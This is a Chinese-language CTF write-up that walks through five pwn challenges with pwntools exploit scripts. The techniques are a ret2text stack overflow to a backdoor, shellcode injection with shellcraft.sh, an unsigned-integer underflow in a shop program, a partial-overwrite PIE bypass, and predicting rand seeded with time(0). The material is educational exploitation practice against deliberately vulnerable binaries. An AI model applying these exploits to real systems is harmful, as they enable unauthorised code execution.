ret2text
首先checksec

发现程序开启GOT完全只读和栈不可执行,但是没有开启随机化和Canary。
扔进ida64看下:

发现read处存在溢出(buff只有32字节但是读了256字节)。
同时发现后门函数backdoor:

于是就是一道非常标准的ret2text,这里通过buf的溢出劫持RIP指向backdoor进行执行即可。
根据ida的显示,buf距离栈底20h的距离,64位程序栈单元是8字节,backdoor的后门地址是0x4011fb。同时,由于跳过了call的步骤直接跳转到backdoor地址执行,可能破坏原有的堆栈平衡,这里将backdoor的ret地址(0x40122D)在执行前丢进栈,保证堆栈平衡。
所以payload如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#r = process('./ret2text')
r = remote('node4.buuoj.cn',29883)
offset = 0x20
backdoor = 0x4011fb
payload = b'a' * offset + b'b' * 8 + p64(0x40122D) + p64(backdoor)
r.sendafter('magic',payload)
r.interactive()
|
然后远程连接程序即可:

ezshellcode
首先checksec,发现开启了栈保护和部分RELRO

ida64,发现主要代码就如下所示:

这里我们发现buf被存放在mmap申请(映射)的0x66660000的地址,并且后面直接用read读了256个字节。最后jumpout直接跳转到buf所在位置进行执行。
结合题目的意思,应该是只要将shellcode读入即可。
我们直接运行一下程序,也证明了我的猜测:

下面只要找任意一个小于256字节的shellcode传入即可。
这里直接使用pwntool自带的shellcraft。
1
2
3
4
5
6
7
8
9
10
11
12
|
from pwn import *
context(arch='amd64',os='linux')
r = process("./ezshellcode")
payload = asm(shellcraft.sh())
#r.recvuntil(b'magic\n')
r.sendafter(b'magic\n',payload)
r.interactive()
|
注意这里一定要将\n读入,否则进入shell就会直接退出。
newstar shop
首先checksec,发现保护全开

先用ida打开一下:

发现应该是一个互动的程序。依次查看三个函数:
shop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
unsigned __int64 shop()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("=============================");
puts("===Welcome to newstar shop===");
puts("=============================");
puts("1.newstar's gift 20$");
puts("2.pwn write up 40$");
puts("3.shell 9999$");
puts("\n");
puts("All things are only available for one day!");
puts("What do you want to buy?");
puts("\n");
if ( (int)__isoc99_scanf("%d", &v1) <= 0 )
puts("Invalid input");
if ( v1 != 3 )
{
if ( v1 > 3 )
{
LABEL_17:
puts("nothing here");
puts("\n");
return v2 - __readfsqword(40u);
}
if ( v1 == 1 )
{
if ( (unsigned int)money > 19 )
{
money -= 20;
puts("You buy a newstar's gift");
puts("That is the gift:");
puts("What will happen when int transfer to unsigned int?");
goto LABEL_10;
}
}
else
{
if ( v1 != 2 )
goto LABEL_17;
if ( (unsigned int)money > 39 )
{
money -= 40;
puts("You buy a pwn write up");
puts("That is free after the match,haha");
goto LABEL_10;
}
}
puts("Sorry,you don't have enough money");
LABEL_10:
puts("\n");
return v2 - __readfsqword(40u);
}
if ( (unsigned int)money > 9998 )
{
money = 0;
puts("How do you buy it?");
puts("\n");
system("/bin/sh");
}
else
{
puts("Sorry,you don't have enough money");
puts("\n");
}
return v2 - __readfsqword(40u);
}
|
这里发现,总共可以用money购买三种商品,我们感兴趣的肯定就是shell。也就是说,只要能买第三项就可以直接getshell。我们肯定不回去赚9999的(当然似乎也可以)。
这里有个很重要的发现,在第一个gift处提示:What will happen when int transfer to unsigned int?。我们发现每次检查金额的时候,都会将int类型的money强制转化为unsigned int。这里直接想到整数溢出,也就是将money变为负的即可。但是仅凭shop只能将money变为0。我们需要再找一个“扣钱”的步骤。
于是在main函数中,我们发现了一个dont_cry函数:

发现,这里可以无条件的将money扣除50,但是有且仅有一次机会。这足够了。
首先我们确定money初始值是100(64h),那么我们在shop购买两次writeup然后直接dont_cry就可以溢出了。
连接靶机,依次输入:
1
2
3
4
5
6
7
8
9
|
1
2
1
2
3
1
3
ls
cat flag
|
即可拿到flag

p1eee
应该是绕过pie保护,其实是pie并不会将地址的低12位(也就是1.5个字节随机化)
根据题目,发现后门函数和实际ret的值只差了最后一个字节(改为\x69即可)
exp如下,(其实直接输入0x28个a加上一个i就可以getshell,因为最后\x69是可见字符i)
1
2
3
4
5
6
7
8
9
10
11
|
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r = process('./pwn')
r.recvuntil(b'pie!!!\n')
r.send(b'a' * 0x28 + b'\x69')
r.interactive()
|
random
通过ctype库加载libc.so库,使用同样的time(0)达到产生同样随机数的效果,然后system($0)同样可以getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
from pwn import *
from LibcSearcher import *
from ctypes import *
file_name = './random'
debug = 0
if debug:
io = remote('node4.buuoj.cn',26238)
else:
io = process(file_name)
elf = ELF(file_name)
context(arch = elf.arch,log_level = 'debug',os = 'linux')
def dbg():
gdb.attach(io)
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(0))
a = libc.random()
io.sendlineafter('number?\n',str(a))
io.interactive()
|